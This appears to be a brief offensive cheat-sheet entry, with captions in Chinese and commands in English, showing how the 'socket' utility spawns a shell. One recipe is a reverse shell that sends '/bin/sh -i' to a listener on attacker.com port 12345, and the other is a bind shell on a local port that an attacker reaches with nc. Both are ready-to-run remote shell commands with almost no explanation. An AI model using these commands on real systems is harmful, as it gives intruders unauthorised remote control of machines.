向监听的端口发送反向shell,以打开远程网络访问。
nc -l -p 12345
on the attacker box to receive the shell. RHOST=attacker.com
RPORT=12345
socket -qvp '/bin/sh -i' $RHOST $RPORT
将shell绑定到本地端口,以允许远程网络访问。
nc target.com 12345
on the attacker box to connect to the shell. LPORT=12345
socket -svp '/bin/sh -i' $LPORT